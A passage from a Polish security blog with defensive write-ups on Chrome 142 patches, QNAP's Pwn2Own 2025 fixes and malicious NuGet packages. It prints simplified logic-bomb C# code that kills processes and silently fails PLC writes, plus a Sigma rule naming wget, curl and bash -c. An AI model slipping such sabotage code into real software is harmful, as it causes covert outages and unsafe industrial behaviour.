  • Manipulacja interfejsem i socjotechnika: błędy Omnibox podnoszą skuteczność kampanii phishingowych (maskowanie adresów, nieoczekiwane autouzupełnianie, przekierowania).
  • Ryzyko dla środowisk korporacyjnych: przeglądarka to największa powierzchnia ataku w organizacji; wiele zakładek/aktywnych skryptów zwiększa ekspozycję — stąd presja na szybkie wdrożenia poprawek.

Rekomendacje operacyjne / co zrobić teraz

1) Szybki update użytkownika końcowego

  • Ręcznie (GUI): Ustawienia → Informacje → Google Chrome (sprawdzenie/instalacja, restart).
  • Windows (Winget, CMD/PowerShell jako admin): winget upgrade --id Google.Chrome --source winget $v = (Get-Item "C:\Program Files\Google\Chrome\Application\chrome.exe").VersionInfo.ProductVersion Write-Host "Zainstalowana wersja Chrome: $v"
  • macOS (Homebrew): brew update && brew upgrade --cask google-chrome /Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome --version
  • Linux (Debian/Ubuntu repo Google): sudo apt update && sudo apt install --only-upgrade google-chrome-stable google-chrome --version

Wersje docelowe: 142.0.7444.134/.135 (w zależności od OS, rollout etapowy).

2) Zarządzanie w organizacji (MDM/Intune/GPO)

  • Wymuś auto-update i restart przeglądarki:
    • GPO (Windows): wgraj najnowsze Chrome ADMX, ustaw:
      • Automatic Browser Updates Enabled = Enabled
      • Target version prefix = 142 (opcjonalnie, aby wymusić min. 142)
      • ComponentUpdatesEnabled = Enabled
      • RelaunchNotification = Required / deadline (np. 24h)
  • Microsoft Intune (Windows/macOS): profil konfiguracyjny z politykami Chrome; ustaw deadline na restart (np. 24–48 h) i Grace Period dla użytkownika.
  • macOS (Jamf/Munki/MDM): Payload z com.google.Keystone (auto-update), polityka wymuszająca relaunch po instalacji.
  • Linux (fleet): repo Google + „pin” wersji, zadanie cron/systemd na aktualizację dzienną.

3) Kontrola zgodności (detekcja niezałatanych hostów)

  • Skany bezpieczeństwa/Nessus/Qualys: użyj wtyczek/QL odpowiadających Chrome 142 (dla macOS/Windows). Przykładowo, Tenable identyfikuje podatność <142.0.7444.135.
  • Szybki skrypt inwentarzowy (Windows/PSRemoting): $computers = Get-Content .\workstations.txt Invoke-Command -ComputerName $computers -ScriptBlock { $p = "C:\Program Files\Google\Chrome\Application\chrome.exe" if (Test-Path $p) { (Get-Item $p).VersionInfo.ProductVersion } else { "Brak Chrome" } }
  • EDR/NDR: stwórz reguły detekcyjne na artefakty exploitów przeglądarkowych (crashe renderera, nieoczekiwane procesy child od Chrome).

4) Hardening przeglądarki (szczególnie do czasu pełnej adopcji)

  • Wyłącz WebGPU w środowiskach o podwyższonym ryzyku (tymczasowo): chrome://flags → Disable WebGPU lub polityka HardwareAccelerationModeEnabled = False (koszt: UX/perf).
  • Ogranicz rozszerzenia: allow-list, audyt uprawnień, blokada developer mode.
  • Zasady izolacji: włącz Site Isolation / Strict Origin Isolation dla aplikacji krytycznych.
  • Zachowania Omnibox: rozważ wyłączenie sugestii i autouzupełniania w stacjach o podwyższonym ryzyku (polityki Omnibox).

Różnice / porównania z innymi przypadkami (jeśli dotyczy)

  • Brak zero-day w tej fali (w odróżnieniu od poprzednich wydań z 2025 r., gdzie V8 bywał wykorzystywany „in the wild”). Obecna łatka dotyczy nowych CVE w 142 i nie ma wzmianki o aktywnej eksploatacji.
  • Komponenty: ponownie widzimy mieszankę błędów pamięci (WebGPU/V8) i błędów implementacyjnych UI (Views/Omnibox), co odpowiada trendom w złożonych przeglądarkach (warstwy grafiki + interfejs).

Podsumowanie / kluczowe wnioski

  • Zaktualizuj Chrome do 142.0.7444.134/.135 jak najszybciej; zdefiniuj deadline i wymuszony relaunch.
  • Monitoruj zgodność — hosty poniżej 142.0.7444.134/.135 są podatne; skanuj i raportuj odsetek niezałatanych.
  • Zarządzaj ryzykiem WebGPU/Omnibox (tymczasowe wyłączenia/ograniczenia), szczególnie w stacjach z wysoką ekspozycją web/AI.

Źródła / bibliografia

  1. Chrome Releases – Stable Channel Update for Desktop (142.0.7444.134/.135, 5 CVE, rollout i restrykcje szczegółów). (Chrome Releases)
  2. SecurityWeek – „Chrome 142 Update Patches High-Severity Flaws” (CVE, opis WebGPU, brak „in the wild”). (SecurityWeek)
  3. Tenable – Nessus Plugin 274070 (detekcja hostów <142.0.7444.135, lista CVE). (Tenable®)
  4. Chrome for Developers – Release notes 142 (data stabilnego wydania 28.10.2025). (Chrome for Developers)
  5. FortiGuard – wpis zbiorczy o lukach w Chrome 142 (mapowanie CVE/komponentów). (fortiguard.com)

QNAP łata siedem zerodejowych luk w NAS-ach ujawnionych na Pwn2Own 2025

Wprowadzenie do problemu / definicja luki

QNAP opublikował aktualizacje usuwające 7 podatności typu zero-day wykorzystanych na żywo podczas konkursu Pwn2Own Ireland 2025. Błędy dotyczyły zarówno systemów operacyjnych QTS/QuTS hero, jak i aplikacji: HBS 3 (Hybrid Backup Sync), Malware Remover, Hyper Data Protector oraz – dodatkowo tego samego dnia – QuMagie (krytyczny SQLi). Producent potwierdził dostępność poprawek i podał minimalne wersje, do których należy zaktualizować systemy i aplikacje.


W skrócie

  • Zakres: QTS/QuTS hero (CVE-2025-62847/-62848/-62849), HBS 3 (CVE-2025-62840, CVE-2025-62842), Malware Remover (CVE-2025-11837), Hyper Data Protector (CVE-2025-59389).
  • Wektory: od zdalnego wykonania kodu i modyfikacji danych po DoS – zależnie od komponentu. Luki potrafią ominąć zabezpieczenia warstwy aplikacyjnej backupu.
  • Łatki minimalne:
    • QTS 5.2.7.3297 build 20251024+, QuTS hero h5.2.7.3297+ oraz h5.3.1.3292+ (OS).
    • HBS 3 26.2.0.938+, Malware Remover 6.6.8.20251023+, Hyper Data Protector 2.2.4.1+.
    • QuMagie 2.7.0+ (CVE-2025-52425, SQLi).
  • Geneza: exploity zaprezentowane przez Summoning Team, DEVCORE, Team DDOS i stażystę CyCraft na Pwn2Own Ireland 2025.

Kontekst / historia / powiązania

Pwn2Own to konkurs ZDI (Trend Micro), w którym badacze demonstrują exploity 0-day na realnym sprzęcie. Tegoroczna edycja w Cork (21–23 października 2025) zaowocowała dziesiątkami nowych błędów w NAS-ach, urządzeniach IoT i oprogramowaniu. QNAP po wydarzeniu podkreślił „przyspieszoną obronę” – szybkie publikacje łatek i dystrybucję przez App Center (m.in. poprzez Malware Remover).


Analiza techniczna / szczegóły luki

Zakres i komponenty

  1. QTS / QuTS hero – trzy luki (CVE-2025-62847/-62848/-62849) sklasyfikowane przez QNAP jako Critical. Załatane w QTS 5.2.7.3297 i QuTS hero h5.2.7.3297 / h5.3.1.3292. QNAP przypisuje te zgłoszenia do Pwn2Own 2025 (ack: DEVCORE).
  2. HBS 3 (Hybrid Backup Sync) – dwie luki (CVE-2025-62840, CVE-2025-62842) usunięte w 26.2.0.938. HBS 3 to centralna usługa backupu/sync (RTRR, rsync, FTP, WebDAV, SMB) – kompromitacja ma wpływ także na repozytoria zdalne/chmurowe.
  3. Malware RemoverCVE-2025-11837, łatka w 6.6.8.20251023. Paradoksalnie dotyczy modułu bezpieczeństwa, co podnosi ryzyko eskalacji w środowiskach ufających temu komponentowi.
  4. Hyper Data ProtectorCVE-2025-59389, poprawione w 2.2.4.1. Narzędzie realizuje backup maszyn wirtualnych/VMware/Hyper-V, a więc ma szerokie uprawnienia do repozytoriów.
  5. QuMagie (dodatkowo w tym samym pakiecie biuletynów) – CVE-2025-52425 (SQLi)2.7.0. QNAP określa możliwość „wykonania nieautoryzowanego kodu lub komend”.

Uwaga: w momencie publikacji części CVE dotyczących QTS/QuTS/HBS 3 pozostają w stanie RESERVED w publicznych bazach (brak pełnych opisów), jednak QNAP i biuletyny prasowe podają konkretne wersje naprawcze – to one są obecnie jedynym wiarygodnym punktem odniesienia dla zarządzania ryzykiem.


Praktyczne konsekwencje / ryzyko

  • Łańcuchy ataku z backupem w roli „przepustki”: kompromitacja HBS 3 może otworzyć drogę do modyfikowania lub podmieniania danych na repozytoriach off-site (rsync/S3/SMB), w tym do „zatruwania” kopii zapasowych i utraty możliwości odtworzenia.
  • Uprzywilejowana powierzchnia: Malware Remover i Hyper Data Protector działają z wysokimi uprawnieniami, więc ich podatności mogą skutkować RCE z uprawnieniami systemowymi, a także ruchem bocznym do hipernadzorców/serwerów wirtualizacji.
  • OS-level: luki w QTS/QuTS hero mogą zostać połączone z błędami aplikacyjnymi dla eskalacji do root i trwałej persystencji (np. ingerencja w mechanizmy aktualizacji, demonów usługowych).

Rekomendacje operacyjne / co zrobić teraz

1) Aktualizacje – minimalne wersje docelowe

  • QTS:5.2.7.3297 build 20251024
  • QuTS hero:h5.2.7.3297 lub h5.3.1.3292
  • HBS 3:26.2.0.938
  • Malware Remover:6.6.8.20251023
  • Hyper Data Protector:2.2.4.1
  • QuMagie:2.7.0
    Instrukcje QNAP: Panel sterowania → System → Aktualizacja firmware (Live Update) oraz App Center → [nazwa aplikacji] → Update.

2) Szybkie kroki higieniczne (post-patch)

  • Wymuś rotację haseł wszystkich kont (min. adminów) i wygeneruj nowe API tokens dla aplikacji integrujących się z NAS.
  • Wyłącz UPnP, myQNAPcloud i przekierowania portów, jeśli nie są niezbędne; wystawiaj dostęp przez VPN/Zero Trust zamiast przez Internet.
  • QuFirewall: reguły „deny by default”, listy dozwolonych adresów, geoblokady.
  • Wyłącz loginy admin/admin oraz włącz 2FA dla kont uprzywilejowanych.

3) Walidacja wersji – przykładowe komendy (SSH)

# Sprawdź wersję systemu (QTS/QuTS hero)
getcfg system version -f /etc/config/uLinux.conf
getcfg system "Build Number" -f /etc/config/uLinux.conf

# Sprawdź wersje zainstalowanych aplikacji (App Center)
getcfg "HBS 3 Hybrid Backup Sync" QPKG_Ver -f /etc/config/qpkg.conf
getcfg "Malware Remover"            QPKG_Ver -f /etc/config/qpkg.conf
getcfg "Hyper Data Protector"       QPKG_Ver -f /etc/config/qpkg.conf
getcfg "QuMagie"                    QPKG_Ver -f /etc/config/qpkg.conf

4) Hardening usług backupu (HBS 3)

  • Używaj oddzielnych kont/kluczy dla każdego celu backupu (S3/rsync/SMB); minimalne uprawnienia (RBAC, bucket-policy).
  • Włącz weryfikację integralności backupów (checksumy, immutable buckets, Object Lock) i testowe odtworzenia (table-top every 30 dni).
  • Segmentuj ruch HBS 3 w VLAN/VRF; zdalne endpointy dostępne wyłącznie z interfejsu backupowego.

5) Detekcja i triage incydentu (SOC/blue team)

Logi systemowe i aplikacyjne kieruj do SIEM (syslog/TLS).
Ścieżki istotne w triage:

  • /var/log/auth.log, /var/log/kern.log, /var/log/apache/ (jeśli aktywne)
  • Q’center/Qlog Center – zdarzenia Malware Remover i HBS 3
    Przykładowe wskaźniki:
  • Nietypowe wywołania HBS 3 do nowych hostów, nagłe skoki transferu/zmiany harmonogramów.
  • Restart usług systemowych bez planowanej zmiany; nowe zadania crontab w /etc/config/crontab.

Sigma (przykład – zdalne uruchomienie nieznanego binarium przez www):

title: QNAP Suspicious Web Exec
logsource:
  product: linux
  service: apache
detection:
  sel:
    cs-method: POST
    cs-uri-stem|contains:
      - /cgi-bin/
      - /phpMyAdmin/
  keywords:
    - "wget http"
    - "curl http"
    - "bash -c"
condition: sel and keywords
level: high

Różnice / porównania z innymi przypadkami

Rok wcześniej QNAP łatał 0-daye z Pwn2Own 2024 (m.in. OS command injection w HBS 3 i SQLi w usłudze SMB). W 2025 r. ponownie trzonem problemu są moduły backupowe i systemy bazowe, ale zakres jest szerszy (7 zero-dayów) i obejmuje nawet Malware Remover. Z punktu widzenia zarządzania ryzykiem to potwierdza, że backup i narzędzia bezpieczeństwa na NAS-ach wymagają takiego samego rygoru testów i segmentacji jak serwery aplikacyjne.


Podsumowanie / kluczowe wnioski

  • Traktuj NAS jak pełnoprawny serwer – z micro-segmentacją, kontrolą dostępu i monitoringiem.
  • Aktualizacje do wersji minimalnych (podanych wyżej) to obowiązek – zrób to dla OS i każdej aplikacji.
  • Backup nie chroni, jeśli jest kompromitowany: izoluj HBS 3, stosuj immutable storage i regularne testy odtworzeniowe.
  • Ogranicz ekspozycję: brak UPnP, brak publicznych portów; dostęp tylko przez VPN/Zero Trust.
  • Włącz 2FA, rotuj hasła i klucze, przeglądnij zadania crona oraz logi po aktualizacji.

Źródła / bibliografia

  1. BleepingComputer – „QNAP fixes seven NAS zero-day flaws exploited at Pwn2Own”, 7 listopada 2025 (lista CVE, minimalne wersje aplikacji i OS). (BleepingComputer)
  2. QNAP Security Advisory QSA-25-45 – „Multiple Vulnerabilities in QTS and QuTS hero (PWN2OWN 2025)” (wersje naprawcze OS, status Critical). (QNAP NAS)
  3. QNAP Security Advisory QSA-25-33 – „Vulnerability in QuMagie (CVE-2025-52425)” (SQLi, QuMagie ≥2.7.0). (QNAP NAS)
  4. ZDI – blog z wynikami Pwn2Own Ireland 2025 (kontekst i harmonogram konkursu). (zerodayinitiative.com)
  5. QNAP – komunikat prasowy: „Demonstrates cybersecurity commitment at Pwn2Own 2025 with rapid defense updates” (polityka szybkich poprawek). (QNAP NAS)

Ukryte „logic bombs” w złośliwych pakietach NuGet: opóźniona destrukcja baz danych i systemów przemysłowych

Wprowadzenie do problemu / definicja luki

Badacze wykryli dziewięć złośliwych pakietów NuGet, które dostarczają opóźnione w czasie ładunki sabotażowe („logic bombs”). Pakiety udają w pełni działające biblioteki do dostępu do baz danych (SQL Server, PostgreSQL, SQLite), a jeden — Sharp7Extend — celuje w środowiska przemysłowe, modyfikując komunikację z PLC z rodziny Siemens S7. Po spełnieniu warunków czasowych kod losowo ubija proces aplikacji lub po cichu sabotuje operacje zapisu, przez co incydenty wyglądają jak losowe awarie albo błędy sprzętu. Źródłem informacji jest m.in. szczegółowa analiza Socket i artykuły branżowe, które opisały skalę i techniki ataku.


W skrócie

  • Wejście: pakiety opublikowane w latach 2023–2024 pod aliasem shanhai666 na NuGet, łącznie ~9,5 tys. pobrań.
  • Cel: aplikacje .NET wykorzystujące biblioteki repozytoriów DB i środowiska ICS/OT korzystające z komunikacji S7. Sharp7Extend podszywa się pod ekosystem Sharp7 (legalna biblioteka), by trafić do inżynierów automatyki.
  • Mechanizm: metoda rozszerzająca (C# extension methods) wstrzykuje logikę sprawdzania dat-wyzwalaczy; po ich przekroczeniu z prawdopodobieństwem ~20% wykonywane jest Process.Kill(); w ICS dodatkowo 80% „niemego” niepowodzenia zapisu po 30–90 minutach od startu.
  • Oś czasu: wyzwalacze ustawione m.in. na 8 sierpnia 2027 i 29 listopada 2028; Sharp7Extend działa natychmiast aż do 6 czerwca 2028.
  • Status: zgłoszono do NuGet; media branżowe donoszą o usuwaniu i śledztwie.

Kontekst / historia / powiązania

Ataki na łańcuch dostaw pakietów (npm, PyPI, NuGet) wykorzystują typosquatting, mieszanie legalnego i złośliwego kodu oraz „bombki” czasowe, by wydłużyć dwell time. Tutaj napastnik dostarczył 99% funkcjonalnego kodu zgodnego z wzorcami repozytorium/Unit of Work/LINQ, aby przejść code-review i testy smoke, a tylko ~20 linii realizuje sabotaż. Taka hybryda znacznie opóźnia wykrycie i utrudnia dochodzenie po latach.


Analiza techniczna / szczegóły luki

1) Wstrzyknięcie przez extension methods

Złośliwe pakiety dodają „przezroczyste” metody rozszerzające do typów poleceń DB i klienta S7 — np. .Exec() lub .BeginTran() — które wołają się przy każdym zapytaniu/operacji. Dzięki temu logika sabotażu wykonuje się w gorących ścieżkach I/O bez zmian w kodzie aplikacji:

public static class SqlCommandExtend {
    static int y = 2027, m = 8, d = 8; // trigger: 2027-08-08
    public static SqlCommand Exec(this SqlCommand cmd) {
        if (DateTime.Now > new DateTime(y, m, d) && new Random().Next(1, 100) > 80) {
            Process.GetCurrentProcess().Kill(); // losowe ubicie procesu (~20%)
        }
        return cmd;
    }
}

W wariantach dla PostgreSQL/SQLite data jest zapisana jako znacznik czasu UNIX (np. 2028-11-29 11:18:48.479 UTC).

2) Sharp7Extend — sabotaż ICS (S7)

  • Natychmiastowy mechanizm Process.Kill() aktywny do 2028-06-06 (odwrócona logika daty).
  • Filtr „wyniku” zapisu w S7, który po losowym 30–90-min okienku łaski zaniża rezultat do 0 w ~80% przypadków, powodując ciche, częściowe nieskuteczne zapisy do PLC (aktuatory nie otrzymują poleceń, parametry nie są modyfikowane).
    Poniżej uproszczony wzorzec sabotażu zapisu:
public static class ResFilter {
  public static int Filter(this int res) {
    if (DateTime.Now < BootTimePlusRandom30to90min) return res; // działa w testach
    return new Random().Next(1, 100) < 20 ? res : 0; // 80% "niemych" porażek
  }
}

Te mechanizmy imitują flapping sieci, EMI, usterki sterownika czy „złe receptury” – dokładnie to, co utrudnia korelację z biblioteką.

3) Typosquatting i „fałszywe poczucie bezpieczeństwa”

Sharp7Extend dołącza niezmodyfikowaną, legalną bibliotekę Sharp7 (np. 1.1.79) i rzeczywiście umożliwia komunikację S7, co uwiarygadnia pakiet. Oficjalny Sharp7 w NuGet/GitHub jest legalny; „Extend” to podszycie.

4) Daty-wyzwalacze & probabilistyka

  • DB: 2027-08-08 oraz 2028-11-29 (różne implementacje).
  • ICS: aktywny od razu do 2028-06-06.
  • Prawdopodobieństwo ~20% na operację szybko daje quasi-pewną awarię w systemach o wysokim QPS/OPS, ale nieregularność utrudnia RCA.

Praktyczne konsekwencje / ryzyko

  • Aplikacje transakcyjne: sporadyczne ubicia procesu podczas zapytań → przerwane transakcje, uszkodzenie sesji, utrata koszyków, restart puli.
  • Bezpieczeństwo danych: niezamierzone rollbacki, niekonsekwentne zapisy, widoczność „ghost writes”.
  • ICS/OT: ciche nieskuteczne zapisy do PLC → niezałączone zabezpieczenia, złe nastawy, ryzyko jakości/bezpieczeństwa pracy linii. Media branżowe niezależnie potwierdzają cele DB+ICS oraz daty 2027/2028.

Rekomendacje operacyjne / co zrobić teraz

0) Zakres incydentu i kryteria ryzyka

Traktuj każdy projekt .NET z zależnościami publikowanymi/aktualizowanymi 2023–2024 jako potencjalnie ekspozycyjny, ze szczególną ostrożnością dla aplikacji przemysłowych/SCADA/MES/Historian.

1) Szybki triage — znajdź i odetnij pakiety

Enumeracja pakietów w repo i hostach:

# w repo: wszystkie odwołania do nuget.org
grep -R "PackageReference Include" -n .

# lista zainstalowanych pakietów w projekcie/solucji
dotnet list package --include-transitive

# sprawdzenie globalnego cache NuGet na hostach buildowych
# Windows (PowerShell)
Get-ChildItem "$env:USERPROFILE\.nuget\packages" -Depth 2 | Select-Object FullName
# Linux
find ~/.nuget/packages -maxdepth 2 -type d -print

Skan wzorców „extension method injection”:

# proste heurystyki (repo)
grep -R "static class .*Command.*Extend" -n .
grep -R "this SqlCommand" -n .
grep -R "Process.GetCurrentProcess().Kill" -n .
grep -R "DateTimeHelper.UnixTimestampToDateTime" -n .
grep -R "ConfigurationManager.AppSettings\\[\"st\"\\]" -n .

Blokada źródła:

  • Pinning do allowlist (scoped registries), wewnętrzne mirror’y, pakiety podpisane.
  • W CI zablokuj rozwiązywanie spoza mirror’a: NUGET_PACKAGES, restoreSources.

Przykładowe nuget.config (pinning):

<configuration>
  <packageSources>
    <clear />
    <add key="corp-mirror" value="https://nuget.corp.local/v3/index.json" />
  </packageSources>
  <trustedSigners>
    <author name="CorpReleaseKey">
      <certificate fingerprint="‎AB CD EF ..." hashAlgorithm="SHA256" allowUntrustedRoot="false" />
    </author>
  </trustedSigners>
</configuration>

2) Detekcja runtime / telemetry hunting

.NET (ETW/PerfView/Defender for Endpoint kusto):

DeviceProcessEvents
| where InitiatingProcessFileName endswith ".exe"
| where FileName has_any ("w3wp.exe","dotnet.exe","MyApp.exe")
| where ProcessCommandLine has "Process.GetCurrentProcess().Kill"
    or ProcessCommandLine has "System.Diagnostics.Process.Kill"

Anomalia „losowych restartów” po zapytaniach DB:

  • Koreluj SqlClient error’y / brak logs z Kill().
  • W aplikacjach ICS: wzrost „write succeeded=false / result=0” bez błędów.

AppLocker/WDAC: blokuj niezaufane DLL z cache NuGet per hash/ścieżka.
EDR: utwórz reguły anomalii na Process.Kill() wywoływane przez procesy serwerowe .NET.

3) Usuwanie i weryfikacja integralności

  • Usuń zainfekowane pakiety z repo i lockfile’y; wymuś dotnet nuget locals all --clear na build-agentach i serwerach.
  • Rebuild + redeploy z czystego cache.
  • Testy regresji z naciskiem na „długie” scenariusze (≥2h) i wysoki QPS.
  • ICS: włącz odczyt zwrotny po zapisie do PLC i alarmuj niekonsekwencje.

4) Hardening łańcucha dostaw

  • SBOM (np. dotnet list package --include-transitive > sbom.txt; CycloneDX dla .NET).
  • Pinned versions + obowiązkowa reputacja (autor/maintainer, GitHub stars/issues, historia CVE).
  • Policy: zakaz użycia pakietów o małej historii/bez maintainerów; przegląd kodu dla „nowych autorów”.
  • Skany SCA z regułami niestandardowymi (heurystyki extension methods, Process.Kill()).

5) IOC / nazwy pakietów do bloku

Na bazie publikacji: MyDbRepository, MCDbRepository, Sharp7Extend, SqlDbRepository, SqlRepository, SqlUnicornCoreTest, SqlUnicornCore, SqlUnicorn.Core, SqlLiteRepository. (Zestaw raportowany w źródłach branżowych.)


Różnice / porównania z innymi przypadkami

  • npm/PyPI — zwykle szybkie kradzieże sekretów/telemetrii; tu mamy opóźniony, destrukcyjny ładunek i probabilistykę, by utrudnić RCA.
  • NuGet-specyficzne — cięższe biblioteki .NET, częsty brak sandboxingu, głęboka integracja z ORM/ADO.NET oraz środowiskami przemysłowymi .NET/Win.
  • ICS — celowane typosquatting w ekosystem Sharp7; potwierdzenie, że legalny Sharp7 jest osobnym, poprawnym projektem open-source.

Podsumowanie / kluczowe wnioski

  • Atak łączy realną funkcjonalność z niewielką „bombą” czasową, co daje długie, ciche „zasianie” u ofiar.
  • Extension methods to idealny nośnik sabotażu w .NET — przechodzą przez testy i code review.
  • Organizacje powinny priorytetowo: inwentaryzować, odciąć, odbudować z czystych źródeł, a następnie wprowadzić mirror + podpisy + SBOM + custom SCA rules.
  • Środowiska ICS/OT szczególnie narażone: weryfikacja zapisu przez odczyt i testy długotrwałe to must-have.
    Niezależne źródła potwierdzają daty-wyzwalacze i target DB/ICS, co pozwala na precyzyjny threat model i priorytetyzację.

Źródła / bibliografia

  • Socket — „9 Malicious NuGet Packages Deliver Time-Delayed Destructive Payloads” (analiza techniczna, fragmenty kodu, daty-wyzwalacze). (Socket)
  • The Hacker News — „Hidden Logic Bombs in Malware-Laced NuGet Packages…” (lista pakietów, kontekst). (The Hacker News)
  • BleepingComputer — „Malicious NuGet packages drop disruptive ‘time bombs’” (potwierdzenie scenariuszy i celów). (BleepingComputer)
  • The Register — „Crims plant time bomb malware in industrial .NET extensions” (status usuwania pakietów). (The Register)
  • Projekt Sharp7 (legalna biblioteka S7; odróżnienie od typosquata „Sharp7Extend”). (GitHub)

Linux Commands Dla Analityków Bezpieczeństwa – Pełny Przewodnik Z Przykładami

Komendy Linuksa jako pierwsza linia analizy incydentu

W codziennej pracy analityka bezpieczeństwa (SOC) umiejętność szybkiego korzystania z wbudowanych poleceń Linuksa bywa bezcenna. Gdy liczy się czas – na przykład podczas triage incydentu lub szybkiej analizy forensic – często jedynym narzędziem jest konsola SSH bez dostępu do interfejsu graficznego. Instalacja dodatkowego oprogramowania zwykle nie wchodzi w grę, więc klasyczne polecenia powłoki Bash stają się pierwszą linią obrony Blue Team.

Czytaj dalej „Linux Commands Dla Analityków Bezpieczeństwa – Pełny Przewodnik Z Przykładami”